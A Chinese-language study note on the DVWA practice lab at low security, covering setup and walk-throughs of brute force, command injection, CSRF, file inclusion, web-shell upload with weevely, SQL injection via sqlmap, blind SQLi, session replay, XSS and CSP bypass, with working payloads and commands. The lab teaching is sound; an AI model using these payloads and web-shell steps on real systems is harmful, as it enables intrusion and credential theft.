DVWA靶场笔记 low篇
DVWA配置
项目地址:https://github.com/digininja/DVWA.git
clone到服务器目录下即可
将DVWA目录拷贝到Kali的Apache服务器目录/var/www/html
下,启动Apache和mysql服务。
service mysql start
service apache2 start
root下创建mysql用户,修改dvwa配置文件
sudo mysql -uroot -proot
create user mika@localhost identified by '密码';
grant all on *.* to mika@localhost;
flush privileges;
浏览器进入Setup / Reset DB界面,点击create / Reset database,如果下面出现Setup successful!即成功。(注意win10下可能无法配置成功)
点击Log out,用户名admin,口令password即可登录
点击左边栏的DVWA Security设置安全级别为low
1.Brute Force
第一题考察暴力破解口令,尝试使用BurpSuite的字典攻击功能,主要就是先构建一个口令字典,包含所有可能的口令,然后BurpSuite帮你一个个尝试。
我们用户名输入admin,口令任意输入后,用BurpSuite截获请求。将请求内容粘贴到Intruder下面的Positions中,并刷黑口令password部分,点击右边的Add,即可标记一个字典遍历点。将Target里的Host改为dvwa服务器地址
接下来点击Payloads,在Payload Options来构建字典,这里加入了4个可能的口令
点击Start attack即可发起字典攻击。本题中具体哪个口令是正确的需要观察Response,如果出现welcome就是正确的。
2.Command Injection
命令注入,可以在命令后面使用& && | || ;等拼接命令
;前后都执行
|只执行后
||前面错才执行后
&前后都执行
&&前面对才执行后
ping 127.0.0.1 && net user # 查看本机用户账户
3.CSRF
CSRF(Cross-Site Request Forgery,跨站脚本伪造):当用户登录了站点A时,攻击者利用脚本使得被攻击者浏览器被迫(不是骗点击)向站点A发送伪造请求,并借用被攻击者的session或者cookie获得在站点A上的权限
dvwa中,用户可以修改密码,假设修改的密码为111,则会通过GET方式访问一个url
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#
所以攻击者只要构造一个恶意网页,其内容是包含这个url的图片,那么用户在登录dvwa的同时,访问了这个网页,就会被不知情地修改密码。(注:有些浏览器可能会限制img这种方法,Kali的火狐不会限制)
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#"/>
<h1>你被修改密码了</h1>
4.File Inclusion
文件包含指的是:页面可以通过include方法执行代码文件,攻击者可以利用这个漏洞让页面去执行恶意代码
Kali的php.ini位于/etc/php/7.4/apache2/php.ini
,使用service apache2 restart即可更新配置。php文件必须放在Apache目录下才能用浏览器运行
点击file3.php可以看到url为
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
此外,该php还含有读取相关系统信息的代码,这表明这些代码被dvwa页面执行了。
如果用其他文件路径(如/etc/passwd)替换file3.php,即可泄露文件内容。如http://192.168.10.129/DVWA/vulnerabilities/fi/?page=http://192.168.10.129/test.php
5.File Upload
文件上传:先把写好的脚本上传,然后获取上传后的路径,最后手动执行脚本,三部曲缺一不可。在kali中可以使用weevley工具来生成脚本并执行,类似win端的中国菜刀
先使用weevley生成一句话木马的php脚本caidao.php,设定一个密码1234
weevely generate 1234 caidao.php
然后将脚本上传到dvwa,上传的目录为DVWA/hackable/uploads
最后通过weevely URL password来获取服务器权限,可以执行任意命令
weevely http://127.0.0.1/DVWA/hackable/uploads/caidao.php 1234
weevely> ls
6.Insecure CAPTCHA
查看源码可知,当POST的step值为2时,可以绕过CAPTCHA验证,直接修改密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
所以只要用BS截获,并修改step=2,即可实现Password Changed.
7.SQL Injection
扫描注入点:注意url中需要包含get项
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#"
可以看到出现注入点id,通过4种类型的攻击可以检测出来
-h:帮助
sqlmap -u "url" --dbs:扫描站点的数据库
-D dvwa --tables:扫描dvwa数据库中的表
-D dvwa -T users --columns:users表中的列
-D dvwa -T users --columns --dump:users表的内容
输入' or 1=1 #可查询所有用户信息
8.SQL Injection (Blind)
盲注指的是攻击者无法从页面获取执行结果时进行的注入。盲注有三种:布尔盲注、基于时间的盲注、基于报错的盲注
本题只会显示表中有无所查项,但仍然能通过盲注来获取大量信息
布尔盲注判断有无注入点:输入' or 1=1 #
,返回User ID exists in the database.;而输入' or 1=2 #
返回User ID is MISSING from the database.,结果不同表明存在注入点
时间盲注判断注入点:输入1 and sleep(5) #
没有延迟;输入1' and sleep(5) #
有明显延迟
9.Weak Session IDs
弱会话ID:用户的会话ID保存在服务器端,攻击者可以猜测用户的弱会话ID,从而获取该网站的用户权限
点击Generate前,使用BurpSuite拦截请求(注意dvwa的url不能是127.0.0.1,否则无法拦截),发现每点击一下Generate,Cookie中的dvwaSession就会+1
Cookie: dvwaSession=1; security=low; PHPSESSID=gnjgjind7p02v2onc06h65cc3f
Cookie: dvwaSession=2; security=low; PHPSESSID=gnjgjind7p02v2onc06h65cc3f
于是清除浏览器的cookie缓存,然后回到http://192.168.10.129/DVWA/主界面,会发现用户为Unknown
这时如果拦截访问请求,并修改cookie为Cookie: dvwaSession=2; security=low; PHPSESSID=gnjgjind7p02v2onc06h65cc3f
,发现登录的用户变为了admin,这表明会话被重用了
10.XSS(DOM)
XSS主要用于攻击者通过注入网络应用来向其他用户发送恶意代码,而被攻击用户的浏览器如果不加判断,则会无脑执行恶意代码
- DOM based XSS不借助服务器来传恶意代码,直接通过DOM在本地执行
- 反射型XSS中恶意参数需要通过服务器发送到用户的浏览器,但不改变服务器数据库
- 存储型XSS将恶意代码注入到服务器数据库中,这样用户只要访问服务器页面,就会查询数据库获得恶意代码
DOM based XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM based XSS漏洞。
该页面用于选择页面语言。选择English并点击Select后,URL变为http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English
查看源码,可以看到下拉菜单有6行。js将URL中default后面的内容(例如改成777)赋给了变量lang,而lang的内容decodeURI(lang)又被放入了option标签之间写到html中下拉菜单的第一行,这说明"default="后面的任意js脚本内容可以被浏览器执行!第二行是分界线,后面四行是四个语言的选项。
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
因此我们可以构造一个js脚本赋值给lang来执行。比如
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
这样<script>alert(document.cookie)</script>
就会被放入option标签之间
并被解释执行,跳出弹窗显示cookie
11.XSS(Reflected)
反射型XSS:用户输入(或者被骗点击了一个链接)包含恶意参数,通过浏览器提交给服务器,服务器会将由恶意参数导致的恶意代码反射给浏览器并执行。反射型XSS不会修改服务器数据
很简单,直接在文本框里面填js脚本<script>alert(document.cookie)</script>
即可
12.XSS(Stored)
存储型XSS也被称为持久型XSS,攻击者将恶意代码注入到服务器数据库中,这样用户只要访问服务器页面,就会查询数据库获得恶意代码
此题给出两个文本框,填入1和2后,会将其信息插入到数据库中,然后查询数据库返回结果到html,并被解释执行。
查看源代码可以看到
<div id="guestbook_comments">Name: 1<br />Message: 2<br /></div>
这表明,如果在文本框里填入js脚本,也夹在br标签之间被浏览器解释执行
由于第一个框有长度限制,第二个框直接填入js脚本<script>alert(document.cookie)</script>
即可弹窗
13.Content Security Policy (CSP) Bypass
内容安全策略:网站在HTTP头中建立一个白名单,只允许加载白名单里的网站脚本。本题中白名单包括self(本站)、pastebin.com等。所以可以通过攻击受信网站的方式来攻击服务器
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
首先在服务器目录下创建一个csp.js文件,内容为
alert(document.cookie)
然后include该文件的url:http://192.168.10.129/csp.js,可以发现跳出弹窗
此外,受信的网站https://pastebin.com可以将输入的js代码转为该网站下的一个URL,这样dvwa去include这个URL,即可执行代码(但是在Kali的火狐上未成功)
14.JavaScript Attacks
本题主要考察浏览器中js的使用
查看源码,页面将Phrase文本框中的内容经过rot13(一种凯撒密码)和md5两个操作作为了token
填写success,结果token错误,使用BurpSuite拦截发现
token=8b479aefbd90795395b3e7089ae0dc09&phrase=success&send=Submit
而在浏览器的console计算发现截获的token并不是success计算出来的,而是原来默认的ChangeMe计算出的值。这是因为js使用前端html中的值作为参数,计算出来token再发给后端,而前端的值ChangeMe就没变过,所以token也一直不会改变
两种方法解决:
- 使用BurpSuite将请求中的token替换为上面success计算出的值再发送,即可出现Well done!
- 在console手动执行generate_token("success")更新token,再发送即可出现Well done!